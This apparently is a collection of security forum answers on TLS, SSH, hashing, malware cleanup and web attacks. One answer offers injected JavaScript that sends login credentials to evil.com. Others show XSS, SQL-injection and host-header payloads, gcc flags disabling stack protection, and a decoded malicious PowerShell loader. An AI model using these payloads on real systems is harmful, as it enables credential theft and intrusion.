OpenSSL handles the handshake as a state machine; the state variable contains the current status. Whenever a handshake message is received, the status changes. The change_cipher_spec message, being always small (its length is 1 byte, exactly), is handled on-the-fly just like an alert message. When received, it does not change the state variable, but instead sets the change_cipher_spec field to 1. When a change_cipher_spec is expected, the next message should be a Finished, and the code processing the Finished message checks the change_cipher_spec field.


There are several freely available threat intelligence feed around.

See e.g. https://threatfeeds.io/

Do note that such lists are ephemeral in nature. Which IPs are currently being used for malicious activity is ever changing, and the information generally decreases in value as soon as it is openly published. For this reason, most high-quality threat feeds come from organizations that either sell them, or only share them with trusted partners.


Is this design for storing/sharing secrets secure?

Issue with Trusting the Server

If you base the web-app on the server, then when the server is compromised, the base web page or the crypto library can be compromised/bypassed directly without alerting the users.

Your infrastructure is built upon a bed of sand if you cant trust the server.

Attacks:

Remove encryption totally and have the content unencrypted, the users still use the software expecting it to be encrypted, but it isnt. (complications being the current encrypted content)
Or to just send the 'secret' to the attacker directly.

The whole Javascript Cryptography Considered Harmful issue documents this and other issues. Note: That this article mentions the secure notes use case.


What items should be on a malware remediation checklist?

New services, programmed tasks, shell extensions, DLLs, program modules… The list of autostart ways in Windows is huge, see sysinternals autorun for those available just in the OS.

Plus the secret rootkit that you had no idea it had been installed.

I would only consider cleaning a production machine instead of reimaging if working with a lack of equipment or if I knew inside out that specific malware.

It's like an US Governor discovering that soviet secret agents installed on his car spy microphones and several remote-controlled explosives (ie. a complete compromise). Yet, when being offered a completely new car for free, he decides to clean the old one and accept the risk.

So I would dig into why

  management insists that a machine is remediated and has accepted the risk of doing so

Maybe they are afraid of losing data? (make an image of the old computer)
They think the reinstalling process is too slow? (perhaps you can have in advance disk images with all the needed software installed, or even a spare hard disk / PC ready to replace an infected one)
Would the user need to spend a lot of time reconfiguring the system / programs? (include the configuration into the backups)

A common misconception when considering disinfections is not to take technician time into account. Desinfecting a machine is quite costly. Do they think the antivirus solution will immediatly disinfect it with a button press? Most probably it won't even detect the threat! Expect to perform full disk scans with several vendors, manually investigate what kind of malware infected it, clueless search the web for remedies…

In comparison, reimaging the PC is reproducible and testable, can be performed even by the lowest-rank (trusted) technician and even completely automatable. It's a well-defined procedure whose efficiency can be measured and improved. Whereas you never know which malware will hit you next, nor which remedy steps shall be done for the next variant (and what is worst: you can't even determine if a solution completely worked).

And you still need a quick reinstalling procedure, since not all malware is so nice to allow being desinfected / recovered from (eg. a malware that shreds the hard disk). I don't think the business requirements will be different depending on the malware that infected you.
So you need backups and emergency reinstalling procedures (which typically would also be your last resort for remediation) that work, anyway (with the benefit of being reusable). Skipping the costly and less reliable solution would be the logic thing to do.


Salts are not meant to be private anyway. They are meant to avoid dictionary / rainbow tables attacks on your hashes (see Why are salted hashes more secure for password storage? for more details).

hashed_pwd = hash_function(salt + password)

So using two salts serves the same purpose as using one salt.

hashed_pwd = hash_function(salt1 + salt2 + password)

If salt1 + salt2 ==  salt you get the first code back.


isaac random number generator and the type of encryption it is used for (game packet encryption)?

If you want to ensure security of your communications, in particular prevent Man-in-the-Middle attacks, you need much more than encryption. Encryption only provides confidentiality, but does not prevent alterations (e.g. replaying packets, dropping packets, reordering packets, switching bits...). You also need some integrity checks, and a way to guarantee that the client is talking to the right server. Assembling cryptographic protocols is very hard (making it run is not hard; achieving security is hard), so the smart thing to do is to reuse an already defined protocol which does the job and has been well studied. This is called SSL (aka "TLS" in its recent versions). It will be much better than any homegrown scheme, and much easier for you since libraries implementing it already exist. The software which is easiest to implement is the software which has already been implemented.

For your specific question, it is possible to turn a deterministic cryptographically secure PRNG into an encryption scheme by using as key the internal starting state of the PRNG: you generate the key-dependent pseudo-random stream, which you then XOR with the data to encrypt; decryption is identical. This is how most stream ciphers work. Usage is delicate: you must NEVER encrypt two messages with the same key, because that would be the infamous two-times pad situation. When SSL uses RC4 (another, more well-known stream cipher), each connection uses a new key.

Whether ISAAC is cryptographically secure remains to be seen. It is old, and has attracted some reviewing by cryptographers, which is good; however, it was not part of the eSTREAM project and has not even been submitted to eBASC (for benchmarking on a lot of types of PC), so it looks a bit "abandoned". Since the "seeding" part (turning an initial key, as a small sequence of bits, into the starting initial state of the PRNG) is not specified, one can argue that ISAAC, as a cryptographic algorithm, was never "completed", precluding any decent effort at cryptanalysis. Studying it for academic purposes is fine, but I must recommend against using it for any production usage. And, anyway, you should really use SSL.


Security increase by use of uncommon IPs?

I'm focusing on using non-reserved IPs, because using the reserved ones, even the big ranges, is still easily feasible to enumerate. Your source leaves out any explanation for his reasoning and you are correct; this only helps if your network is already breached and then only insignificantly.
What your source is trying (and failing to achieve) is called network segregation - which is a good way of hindering lateral movement in networks.

Now: why even using all of the address space is a bad idea:

So, while using IP addresses that are not reserved for private use does in fact increase security (and in fact by obscurity), it is highly discouraged. If everything is configured correctly, this at least let's you run into problems when an IP you are trying to connect to over the WAN is routed in the LAN, because it's present there, too.

This increases security marginally by hiding a few local IPs not in the tiny space of reserved private IP ranges but all of the IP address space. But this only works if the machines you are hiding do not advertise services, do not respond to ICMP, ARP or DHCP requests or the like and you are using a switched network.

So there is a tiny chance that you are making lateral movement within your network harder for an adversary, simply by obscurity.

While security by obscurity is not considered secure, it at least adds a tiny bit of security to the overall security of the system; marginally so.

Additionally, be aware that using non-reserved IP addresses internally is not RFC-conform.


Yes. Controlling a Telnet client through an SSH tunnel is, in practice, as safe from eavesdropping as using any other program (e.g. a Bash shell) through the tunnel.

Telnet is called an insecure protocol because Telnet traffic is plain text which can be read and modified by anyone on the route between client and server (a man-in-the-middle attack). But if you're exchanging packets with localhost, there is no actual network traffic leaving the machine that could be sniffed or intercepted. Both Telnet client and server are on the same host, and the fact that you're using SSH to connect to that host doesn't put that local connection at risk.


What notable examples of metamorphic engines are there?

From my point of view you can start with Metasploit and check the encoders that exist there, such as shikata-ga-nai, etc.... There are some articles interested https://www.cs.unm.edu/~crandall/ccsdacoda.pdf and http://lsd.ls.fi.upm.es/papers/2009/srds2009.pdf where you can find very useful references about the topic. Finally if you want to dig on how metamorphic techniques works I definitively you recommend starts with https://github.com/K2/ADMMutate that covers the most interested metaphoric techniques.


Unsolicited Password Request from Facebook

Relax, no need to worry. The email address password+kjdmiikvhppi@facebookmail.com does seem to be authentic. It could be spoofed, but if it were spoofed it would be very likely moved automatically to the Junk or Spam folder. Of course, it is possible that the email is spoofed and it wasn't caught in the spam filter, but I personally think it's not very likely.
So, there are two explanations for this, one is the official Facebook explanation:

it's likely that someone accidentally entered your email address or
username when attempting to log in to their account. This often
happens if you have a popular username or email address. As long as
you don't click the link contained in the email, no action will be
taken and your account will remain secure.

The other possibility is that someone is trying to hijack your Facebook account. Again, no need to worry, just follow these steps:

Ignore the email. Now that I see that the links are authentic, I think it's a good idea to click on the link next to "Didn't request a new password? Let us know here" , this way you'll be able to report this to Facebook.

Follow Facebook's security guidelines.

Make sure you have a strong password for your email account (it's also not a bad idea to change it)

Update: Now that you posted the message source, I can be even more confident that it is indeed an authentic email from Facebook and my answer is correct. The headers seem to be legitimate and the links all lead to the real Facebook website.


You need to sanitize it like it was user inputed data. It doesn't need to be ment evil by the API provider or it could also be the fault of the user giving the data to the API provider. Who says the API provider sanitized the data? Who says the API provider needs to sanitize the same way like you? Maybe the special character is valid for him.

A "'" might be a valid character for the API provider and a persons name could be called "Robert'); DROP TABLE students;--" and you got SQL injected without evil intentions of the API provider but by a mum naming her son like this.

For another example you get data from an API provider and display it on your website and you don't sanatize it: It might contain a special character which breaks your webpage or whole website. It might contain evil javascript/html code which can infect the user machine with a virus.
It might contain evil javascript/html code which has the same rights as the user viewing it. A logged in administrator views the page and the javascript deletes or manipulates the website/creates a new user with admin rigts/many more things.
Depending how the API data is stored/processed it might read/write security relevant files on the system or create/change files executed on the server. For example a file could be created which is executed by the webserver instead of sent directly to the client.
So always sanatize third party data.

Edit to make sure there is no misunderstanding: i am talking about data in the meaning of information representation, not about information per se. Information would be, that an actress is Robert's mum. Information representation could be

  {actress: "Robert's mum"}

So make sure this data does not cause an SQL-injection at your side. If you trust the information that the actress was really Robert's mum is another topic.


Website's url parameter gets returned onto page- can that be exploited?

Since you can't use ' and ", there is no way to get out of the CSS string context to achieve XSS.

If single quotes were allowed, you could have injected CSS attributes, e.g.:

'); color: red; /*

If double quotes were allowed, you could have injected an HTML attribute, e.g.:

" onmouseover="alert('Where is my bounty')

If angle brackets were allowed (but not quotes), you would still have no chance to inject custom HTML. Something like this does not trigger:

.png')">

So what you're left with is the ability to change the image path to any URL on the same domain. E.g.:

As you can guess, this has a very limited security impact. In the rare case that the site implements CSRF protection solely based on the Referer header, you might be able to use this for CSRF attacks. But otherwise, there is no obvious way to exploit this behavior.


Is host header injection possible without cache or password reset?

The thing with host header injection is that it can allow an attacker to control part of a response. From a great article at Acunetix:

The PHP script in the following example is a typical and dangerous use of the host header.
<script src="http://<?php echo _SERVER['HOST'] ?>/script.js">

An attacker can potentially manipulate the code above to produce the following HTML output just by manipulating the host header.
<script src="http://attacker.com/script.js">

But if you are only manipulating the response you get yourself, this isn't very useless. After all, XSS:ing yourself isn't that fun. You need to change the response your victim get, but you can't modify the host header of your victims request. Whats to do? There are two common ways:

Cache poisoning: If the response that loads a script from attacker.com is cached at some server, it will be served to others as well. Bingo!
Password reset: If you can modify the password reset link that is sent out in emails, you can steal the password reset token once the victim clicks it. (Note that this is not modifying the HTTP response, but rather an email the server sends.)

So if none of this works, does that mean everything is good and well? Not really. It probably mean that this can't be exploited at the moment, at least not in an easy way, but it is still bad and something that should be reported in a pentest report. Because what happends if someone changes the chache policy one day? You don't want to be just a server reconfig away from getting owned.


Linux Memory Protection from buffer overflow

The way the shellcode is received by the vulnerable program, it will store this shellcode on the stack. You have two protection mechanisms that are going to prevent the shellcode from execution. One is the that stack will be flagged as non executable (the NX bit protection) and the other is the canaries (where a random value is placed before EIP on the stack and checked before poping EIP).

You need to disable both of these protection mechanisms before executing your shellcode from the stack.

If you are using gcc, recompile the vulnerable program like:
gcc -fno-stack-protector -z stackexec -o vuln_prog vuln_prog.c

Then perform the exploitation.


Is 2FA via mobile phone still a good idea when phones are the most exposed device?

Is 2FA via mobile the best security there is? No. SMS 2FA is the weakest form of 2FA, however, it's still worthwhile because it does improve security and it has a relatively low barrier of entry especially for non-technical users.

What can be improved? You can use TOTP token using apps like Google Authenticator. This still uses your mobile phone, but it doesn't rely on the phone number, so you can still use OTP even when your phone doesn't have connectivity.

The next step after is to use dedicated hardware token that complies with either U2F or WebAuthn, like RSA token or Yubikey. Website support is fairly limited to some of the major sites, but it's a great alternative when it's available. Google Accounts is also an OAuth provider so you can use it for social network login.


When you connect first time to a given SSH server, you get the usual question with the key fingerprint; afterwards, the SSH client stores a copy of the server public key in the .ssh/known_hosts file. But the SSH client actually stores two keys: one for the server name, and one for the server IP.

For instance, assume that server foo.example.com has IP 10.0.0.8. Upon your first connection (ssh foo.example.com), the SSH client will get the server public key, display the fingerprint (a hash of the public key), ask for confirmation, and then store in the known_hosts file two mappings, one for foo.example.com, the other for 10.0.0.8, both pointing to the same public key.

When you connect back to the same server, SSH verifies the two mappings. If the first mapping (the one for the name) yields a public key that is distinct from the one recorded in known_hosts, you get the scary error message with UPPERCASE LETTERS (that's how it manages to be scary), and the client refuses to connect any further (so the message is not only scary, it is quite inconvenient as well).

Another situation is when the first mapping matches:

The user types: ssh foo.example.com.
The DNS system resolves that name to IP 10.0.0.8.
The SSH client connects to that machine, and obtains the SSH server public key.
The obtained public key matches the one found in .ssh/known_hosts under the entry foo.example.com.
BUT the obtained public key does NOT match the one found in .ssh/known_hosts under the entry 10.0.0.8.

In that case, you get the exact message that you display in your question. The SSH client has some assurance that you are talking to the intended server -- the public key matches the one recorded for the same server name -- but something is still amiss, hence the warning, and the confirmation prompt.

This can happen when the server IP has changed. With the example above, suppose that, last week, foo.example.com had IP 10.0.0.7, but bar.example.com had IP 10.0.0.8. At that time, you connected to both. But last week-end, a sysadmin with slight obsessional compulsive disorder decided that some IP had to be changed, so that he could setup more efficient, regular and mathematically elegant networking rules. So he "moved servers around", and set bar.example.com to IP 10.0.0.16 and foo.example.com to 10.0.0.8. Our friend the sysadmin dutifully configured the DNS to report the new IP. Now, we are on Monday, and you want to connect again. Your SSH client talks to the DNS, gets the new IP for foo.example.com, and all is fine, except that the recorded key for 10.0.0.8 does not match the public key of foo.example.com: indeed, your known_hosts file contains a copy of the public key of bar.example.com, listed under the IP 10.0.0.8, which, up to last week, was bar's IP, not foo's.

A sysadmin with OCD is not strictly necessary for this scenario; it can also happen with dynamic IP setups, or with some cases of load-balancing.

Solution: use a text editor and remove the offending entry from your known_hosts (line 14, in your case). You can also use the command ssh-keygen -R <host> to remove the particular entry. Next time you will connect, the client will display yet another warning (this time complaining about the absence of any recorded public key for the target IP), but this one will fly by almost unnoticed, because there will be no prompt at all. The SSH client will then record the public key again in known_hosts, and set things right, at least until the sysadmin hear voices again.

Alternatively, disable host IP checking in the SSH client, by setting the option CheckHostIP to no (in the system-wide /etc/ssh/ssh_config, or your .ssh/config, or directly on the command-line: ssh -o CheckHostIP=no foo.example.com). Host-IP checks are useful to detect abnormal situations of wandering server names, but for some sysadmins, server IP jugglery is perfectly "normal".


Undetected Trojan: what type of Scheduled task is this?

I think that's using PowerShell to look for files matching comu*.* and run the contents using PowerShell.

It runs cmd /c to call Powershell.  It spells out PowerShell because %tmp:~5,3% translates to ers (since %TMP% is typically C:\Users\<username>...).

cd %public:~-15,9% goes to the Users directory.

ls -force -r -in comu*.*|select -last 1 finds the file.

gc -LiteralPath $y|select -last 1 gets the contents of that file.

iex $y executes the saved contents.


The VPN client can check your hardware, record asset information and provide that information to the VPN concentrator.  Often this is used to ensure you're patched, have antivirus and are using a corporate asset.  It sounds like your company isn't checking for corporate owned assets and is expecting you to use personal assets.  Although they won't flag you for connecting with a personal asset, they will be able to tell that you're using two different machines.

http://blogs.citrix.com/2013/12/10/netscaler-gateway-advanced-end-point-analysis/

If you have a legitmate business need to use both machines, ask them, else they might freak out when something else creates an indicator, e.g., you accidentally connect twice.


A VPN is no more hostile than the Internet "in general". The VPN is a "private network": it is protected against the large Internet; but if the VPN is itself an evil entity, then you are back to where you began. To a slight extent, a corrupt VPN would make the task a bit easier for the attacker because, by construction, all your packets will go through the VPN, but this does not change the situation in a qualitative way.

SSL has been designed to resist an hostile Internet. This still relies on a proper instantiation; crucially, you shall mind the browser warnings, because if you allow your connections to use an unverified server certificate, then security goes down the drain.

Of course, if your specific VPN included the installation of some local software, and you have reasons to believe that this software could be ill-intentioned towards you, then all bets are off. Practically, this software might have installed an additional root CA that it controls, which would allow an accomplice to mount a man-in-the-middle attack which does not trigger browser warnings. There are some enterprise products which do just that (employees have long learned that with SSL they can escape the filters used by their sysadmins on the workplace; sysadmins are currently getting up-to-date). Bottom-line: SSL protects the transfer of data between your computer and the target server; it does nothing about the integrity of your computer.


Can you identify whether a string is a RSA public key?

Yes. RSA public keys are typically generated as ASN.1 structures as per the definition in RFC3447, encoded in DER format.

The format can be validated as correct DER / ASN.1, and then decoded to validate that the structure and contained values match what is expected from an RSA public key. The values within the structure are simply the public semiprime (n) and the exponent (e).

By validating that the value of e is prime, and that the size of n matches an expected RSA key size (e.g. 1024 bits) then you can assume that the provided data was in fact an RSA public key.

For the case of OpenSSH, public keys start with a string identifier (e.g. "ssh-rsa") which makes detection easy. You can also extract and validate the n and e values in the same way as above, albeit using the OpenSSH key format specified in RFC4253 instead of the DER / ASN.1 format.


Is openVZ patched against all exploits for its current kernel version?

Just take a look at OpenVZ kernel changelogs -- there are regular (up to a few times per month) kernel releases, often with CVE fixes. Also, it's not 2.6.32 -- it's RHEL6 (which was based on 2.6.32 but moved forward a lot).


AWS VPC - should connections between instances be over SSL?

Amazon claims that AWS VPC is "logically isolated" from the other AWS instances, and from the Internet. "Logically" means that it is done in software, not with dedicated hardware system. An AWS VPC can be connected to your VPN and it will use IPsec for that external connection, but this does not mean that internally IPsec is used. In fact, how the "isolation" is really enforced is not documented, so that's a big unknown.

Assuming that Amazon is not hostile to you (in which case you would be doomed anyway), and that furthermore they do their job properly, then your communications between your systems should be safe from eavesdropping or interception by third parties. However, you can botch it if your servers reference each other by name and you let your internal DNS be poisoned externally. I suggest you use explicit /etc/hosts files so that your servers may not be convinced to use wrong IP addresses, letting the data escape into the Wild Internet.

Using SSL anyway would make things easier if you decide, in the future, to migrate your servers into some other cloud provider, or if you cease to be so trustful in Amazon's competence against network attacks. After all, IT security is known to be hard.


What is the best way of securing a website logon without SSL or preshared keys?

You want the target server to be able to access the user name and password, and not the sniffer-powered attacker. So the target server must be able to do something that the attacker cannot. Since the attacker can buy the same kind of PC than the server, that extra power must be something that the server knows, but not the attacker.

Hey, there is such data: the password ! That's the point, isn't it ? It really is a pre-shared key between client and server.

Passwords are pretty lousy, as far as key go, because of the limitations of human brains. Still, one can work with that. The best protocols for that are Password Authenticated Key Exchange: they can escalate a shared low-entropy key (the password) into a shared high-entropy key, with which you can do all the yummy stuff of symmetric cryptography, which will keep (wire)sharks at bay. And PAKE protocols can do that while resisting offline dictionary attacks ("offline" is the important word here).

The bad news is that PAKE protocols, and, more generally, any authentication protocol which can be linked afterwards with exchanged data so that the authentication really resists active attacker, are difficult to get right. The simplest but still secure protocol turns out to be SSL with SRP (there is an RFC for that). The good news is that SSL+SRP provides password-based mutual authentication between client and server using no certificate whatsoever (and when people say that they do not want to use SSL, what they usually mean is that they do not want to dabble in X.509 certificates and the friggin' PKI market).

Unfortunately, SSL+SRP support is not widespread (GnuTLS is an opensource library which knows SRP).


Detecting if an agent is listening to specific messages

You could run a statistical analysis.

If messages from Y and behaviour observed in Z are uncorrelated, then the frequency of behaviours by Z conditioned by message Y0, Y1, etc. will be the same.

You would also need to run correlations on time-delayed and message-delayed hypotheses, as well as multiple-message correlation, i.e. Z(Y(n), Y(n-1), Y(n-2)).

For example, the pair of messages ("SIMON SAYS", "(something)") and ("(whatever)", "(something)") will see, in the first case, a strong correlation on the second message, in the second, no correlation at all. Overall correlation on just (something) will be weak. Correlation on message pairs will be strong, leading to the conclusion that "SIMON SAYS" primes Y to obey the next message.


How do I capture POST data then forward user to another page?

This is much easier than what you're trying to do. Simply intercept the submit event and make a request to the evil page which will store the stolen credentials and return some 1x1 image, then the browser will automatically handle submitting the form to the correct legitimate destination. Here's a PoC (inject this before </body>)

var form = document.getElementById('myForm');
form.onsubmit = function(){
   var username = getElementById('userNameField').value;
   var password = getElementById('passWordField').value;
   var fakeImage = new Image();
   fakeImage.src= 'http://evil.com/evil?user=' + username + '&pass=' + password;
   fakeImage.onload = function(){document.getElementById('myForm').submit()}
   return false;
}

I'm pretty sure this is not the best way to do this, but this is just the general idea.

This is pretty much what the Tunisian government was doing to steal activists' Facebook accounts; They'd inject something like that in the HTTP-loaded homepage and steal the credentials.


Use MAC Address to Identify Laptop Model?

A mac address doesn't identify a specific model of a device, but rather the  the likely manufacturer.  IEEE is the registration authority that contains a list of manufacturer prefixes.

This will ONLY tell you the likely vendor of the network device.  I say likely since MAC addresses can be changed programmatically to any value you want on most operating systems (I know Linux can).  This means I could be running a HP network card or usb network adapter, but alter my mac address to report HTC as the manufacturer.

Another issue is that the network device talking to the network may be a third party device such as a USB network adapter (ethernet or WiFi), and have nothing to do with the original laptop.

There are methods of fingerprinting a network device (NMap can do this), but those methods are not very reliable on anything except the most common of hardware.


(1) Can my ISP know my yahoo email address? I have signed in on yahoo more than a million times. Yahoo is https.
(2) Can my ISP know my Yahoo password?
(3) Can my ISP know my Amazon.in (India) account email and password? There are Indian alternatives to Amazon: Flipkart.com, Snapdeal.com, Infibeam.com Can they (my ISP) figure out by any means about my email and password on these Indian shopping websites? All websites mentioned are https.
(5) Can my ISP know my purchases on these websites?
(6) Can my ISP know which video I watch on YouTube? [https]
(7) And finally, can my ISP know which video I watch on PornHub? (again, https)

No, unless you tell them. Your ISP knows which sites you navigate (and a lot you don't, but are referenced on the pages you view: images, scripts, things like that). That's why some people tell you to use a VPN to protect your privacy against your ISP.
Those days, the vast majority of traffic are protected by HTTPS, so the ISP have no much knowledge on anything you do, except for the metadata: which site it is, how many times you connect, how much traffic is involved. And the name of every site because the plain old DNS you are using is not encrypted.
DNS is the protocol used for finding the IP address for a domain name (like www.wikipedia.org, for example, is 208.80.154.224 from where I live). The DNS request is sent on clear, so even if you don't use your ISP DNS server, they can see the request, and even intercept it and respond themselves.
Using DNS-over-TLS or DNS-over-HTTPS mitigates this privacy leaks because now the ISP won't have the domain you are visiting, but only the IP address. It's possible that more than one site uses the same IP address, so in some cases, it's not possible to say for sure that you are visiting site-a.com when site-b.com shares the same IP. And high-traffic sites usually employ a CDN (content delivery network) to distribute traffic, and the IP they use are not the site's IP, but an IP belonging to the CDN (like CloudFlare or Akamai).
They cannot tell which video you watch on YouTube or PornHub, but they can tell you are on YouTube, PornHub, and have a good estimate of how much time you spend on each one.

(4) Those shopping websites obviously require me to enter my physical address, the place where I live. Can my ISP know where I live, by this way, that is through these websites? They are all https, just to remind.

They know, but not by decrypting traffic. If the connection is fixed (ADSL, fibre, phone line, long range wifi) they must know where you live so they can install the cable or receiver. If it's cellphone service (4g, 3g), they can track your position in realtime. And the contract you sign must have your address too, and it's not a good idea to lie on a contract.


Checking if my username X is the same guy as username Y

This is really a licensing/permission question. It can only be addressed by adding the information "Used with permission from X" to anything posted from User Y that is using something created by User X. At this point both accounts are completely separated and you are using User X content with permission. Now User X has their License(s), and User Y has their License(s), and User Y can use it with permission(if you didn't grant yourself permission I'd be VERY surprised).
The only place this could be an issue is when User X licenses everything but their own usage to a third party. At that point you actually have to ask permission from that third party, otherwise you're violating your own licensing agreement as far as they know!
At that point however they will know, and there is no way to prevent that should that scenario come up.

Something to be careful of!
This is really just Security Through Obscurity and isn't really security. It only delays someone in finding out who you are. When they have discovered that, then this means nothing if they tell someone. Really what you're doing is impersonating someone who does not exist, and pretending you aren't you. Unless you go the REAL extra mile and take legal steps to change this, you're still you.


Preventing CSRF attacks against WebSocket communications

A CSRF attack on WebSocket is possible, if you rely on authentication cookies. From RFC 6455 §1.3:

  The |Origin| header field [RFC6454] is used to protect against unauthorized cross-origin use of a WebSocket server by scripts using the WebSocket API in a web browser.  The server is informed of the script origin generating the WebSocket connection request.  If the server does not wish to accept connections from this origin, it can choose to reject the connection by sending an appropriate HTTP error code.  This header field is sent by browser clients; for non-browser clients, this header field may be sent if it makes sense in the context of those clients.

I've highlighted a few parts. The first magic word is can and the second is may. WebSocket servers can check the origin, but this is optional. Non-browser clients may send the origin header, but this is not mandatory.

A malicious actor could use a CSRF attack to open a WebSocket connection to a WebSocket server and the cookies would be appended by the browser to the request. If the server does not check the origin, or if does check the origin but the origin is forged, then the attack acquires a read-write tunnel to the WebSocket server with the permissions of the victim.

Checking the origin probably covers the majority of attacks since humans traditionally use major browsers that do send the correct origin header. However, in the face of non-browser clients, which can "send fake |Origin| header fields, misleading the server" [RFC 6455 §10.1], other mechanisms should be applied. This blog post suggests both checking the origin and using session-individual random tokens as countermeasures. I suppose one can also perform some kind of authentication over the WebSocket connection, after it is established, though this can harm usability.


How to interpret the attempt information from Hydra

You are misinterpreting the output.

5124095576030430:60h is not a ratio of tries to the number of hours. That's the number of hours it is going to take.

The number of tries is plainly explained:

18446744073709551500 in 5124095576030430:60h

If you are expecting only 288 attempts, then it looks like you have misconfigured your command.


Can I create a website on wordpress anonymously?

I feel if you want to remain completely anonymous, then creating a new email address with no other association to your self then that alone should be able to manage that.
Again with the use of a VPN you should again be ok, depending on the service your using. As there could be some DNS leak and as a result you could potentially have information leaked.

For this I would recommend Disable WebRTC, as for how easily your ID could be compromised would depend on how similar your user name etc is to your own personal ones. But as long as you creat all new accounts and use Random Name Generator you should be ok!


Shellshock is a vulnerability in the Bash command line interpreter. You may be vulnerable to Shellshock depending on your version of bash.

You can use bashcheck to check if your version of Bash is vulnerable to shellshock:
https://github.com/hannob/bashcheck

To test whether you version of Bash or your system services are vulnerable to Shellshock manually, check out mubix's writeup:
https://github.com/mubix/shellshocker-pocs

Regarding exploiting CUPS; you're doing it wrong. The CUPS HTTP server does not export HTTP headers (such as 'User-Agent' and 'Content-Type') to environment variables in the same way Apache mod_cgi does. Refer to the CUPS exploit at the link above to test if your version of CUPS is vulnerable. Note that CUPS runs on the local loopback interface 127.0.0.1 by default and is not vulnerable to remote command execution unless remote access is enabled.


All the recent fuss is not at all about RSA. It is about Dual_EC_DRBG, a PRNG which has no relation whatsoever with RSA.

Some wild speculation has been made about other usages of elliptic curves, for other algorithms, which again have no relation with RSA, except that some EC-based algorithm may be used as replacements for RSA.

Now there is a relation not with RSA, the algorithm, but with RSA, the company, which edits a number of cryptography solutions, including one, called BSAFE, which implements both RSA (the algorithm)(actually the algorithmS, since there are RSA signature and RSA encryption, which are not the same kind of thing), and the Dual_EC_DRBG PRNG. Any software which was using BSAFE for random numbers may be at risk, depending on what kind of randomness they needed.

It so happens that "normal" RSA signatures (technically called RSASSA-PKCS1-v1_5, or "PKCS#1 v1.5") are deterministic: they don't use randomness at all. In particular, they cannot be put at risk by flawed randomness.

The newer "PSS" padding scheme for RSA uses random numbers, but not in a way which is critical to security. As PKCS#1 puts it:

  RSASSA-PSS is different from other RSA-based signature schemes in
     that it is probabilistic rather than deterministic, incorporating a
     randomly generated salt value.  The salt value enhances the security
     of the scheme by affording a "tighter" security proof than
     deterministic alternatives such as Full Domain Hashing (FDH); see [4]
     for discussion.  However, the randomness is not critical to security.
     In situations where random generation is not possible, a fixed value
     or a sequence number could be employed instead, with the resulting
     provable security similar to that of FDH [12].

(emphasis is mine)


PCI DSS v3.1: clarification about usage of TLS v1.1

Michael, my read of that guidance is that the requirement about moving to TLS 1.1 (preferably 1.2) applies beyond the POI context to your internal systems, including (as  far as I can tell from what you provided) the links between the servers you talk about. I say that because, first, of the actual PCI requirements that the guidance points to as being implicated here:

  Requirement 2.2.3  Implement additional security features for any
  required services, protocols, or daemons that are considered to be
  insecure.
  Requirement 2.3  Encrypt all non-console administrative
  access using strong cryptography.
  Requirement 4.1 Use strong cryptography and security protocols to safeguard  >  sensitive cardholder data during transmission over open, public networks.

Now, merchant-to-you encrypted connections involving POIs are clearly part of this through Req. 4.1.  But the reference to Rule 2.3 about encrypting all administrator access stuff and to Rule 2.2.3 with its wider general applicability to many systems that a PCI-covered entity possesses leads me to believe the internal processing connections you're talking about are indeed within the upgrade requirement.

Now, as is usual with PCI stuff one important thing to keep in mind is that there's often quite a lot more flexibility built into the requirements vs. what might seem the case on first blush.  For example, the linked-to guidance says that you can meet the "upgrade" mandate if you use encryption in another layer/type that's at least as strong (security-guarantee wise) as TLS 1.1.  For example, if you set up a IPsec tunnel between two servers and then run your non-upgradable TLS 1.0 flow through the guidance says that you are & will be in compliance.  For more info about flexibilities you might have under the guidance and under the actual Requirements more broadly I'd definitely seek out a PCI consultant or firm that has strong expertise in helping payment gateways & payment processors keep up with new evolutions in PCI rules that are occurring if the wake of the massive thefts of user financial info that have occurred in the last few years.  (And, while I'm on the subject of getting direct, reliable advice from an expert, I'll throw in the obligatory disclaimer that I haven't looked extensively into the particulars of your case, may or may not have sufficient expertise--from your standpoint, I'm just a guy on the Internet--to do so, and thus what I have written above is not a substitute for professional counseling.)

In other words, I think your internal networking connections are covered by the upgrade rule, at least to the extent that they convey authentication credential info needed to do administrative things (eg. user names & passwords, of course) and/or carry sensitive card data & other financial info over them.  My two cents...

PS:  Keep in mind not just the ultimate deadline for upgrading (or making redundant) TLS protections by June of 2016, but the reporting and mitigating measures that the guidance also discusses.


Authorization over Internet without storing user details

You can use a one-way encryption method to encrypt user data (i.e. username and password) and store the encrypted form on your server side. This way, no one can retrieve the data. To authenticate the user (i.e. during log in), you encrypt the password using the same algorithm and you can make sure that they both match. You can use one of the following encryption methods: SHA-1, Salted SHA-1, SHA-2, Salted SHA-2, MD5, or crypt. I would recommend bcrypt and you can also try scrypt.

Otherwise, if you want the user to be able to restore the encrypted data, then you need to use two way encrypting methods like AES where you can save the encrypted data on the server side, and restore it at the client site using the private key.


Hash your passwords
First of all, it sounds like the database stores password in plaintext. That is very, very, very bad. See this question for how to do it right.
The problem with your system
Now, to your actual question. The aim of your system is to stop session hijacking. However, it does nothing of the sort. If I steal one of your users session cookie and send it in a request to your server, how would you know it was stolen? All your system does is decrypt the password the real user provided at logg in and check that it is correct, which it always will be. Your system basically boils down to checking that password = password with some "magic crypto dust sprinkled on top" (to quote Androl Genhald).
To see this, write down your system in simplified pseudo code and then go through how the server would behave in case of an attack with pen and paper. I find that is a useful technique for problems like this.
A bit besides the point, but: Only using one round of SHA-256 is not enough for hashing passwords. And storing the encrypted data and the key at the same place is not a good idea.
The solution
Keep it simple:
$_SESSION['logged_in'] = true

Then, to protect against session hijacking, you can do the following:

Use good HTTPS.
Make sure your session IDs have sufficient entropy.
Mark the session cookie as secure and HTTP-only.
Watch out for XSS.

Your system also makes sure that the user agent stays constant during a session. This is only limited protection since the user agent can be easily spoofed, but it might help against an unsofisticated attacker. If you want to keep that check, simply store the original user agent in the session and then at every request check that the user agent header is the same as the one you have stored.


How does a user get authorized wihtout authentication

The oAuth sets a session token for every user. When the user is logged in to the front end the front ends send the token to the back end and not the username and password. Using this token the backend authenticates the user and show his profile. So using this token the back end recognizes the user and shows his profile on the front end.  more info


Are privacy and security mutually exclusive?

Privacy (in the form of confidentiality) is a subset of information security.

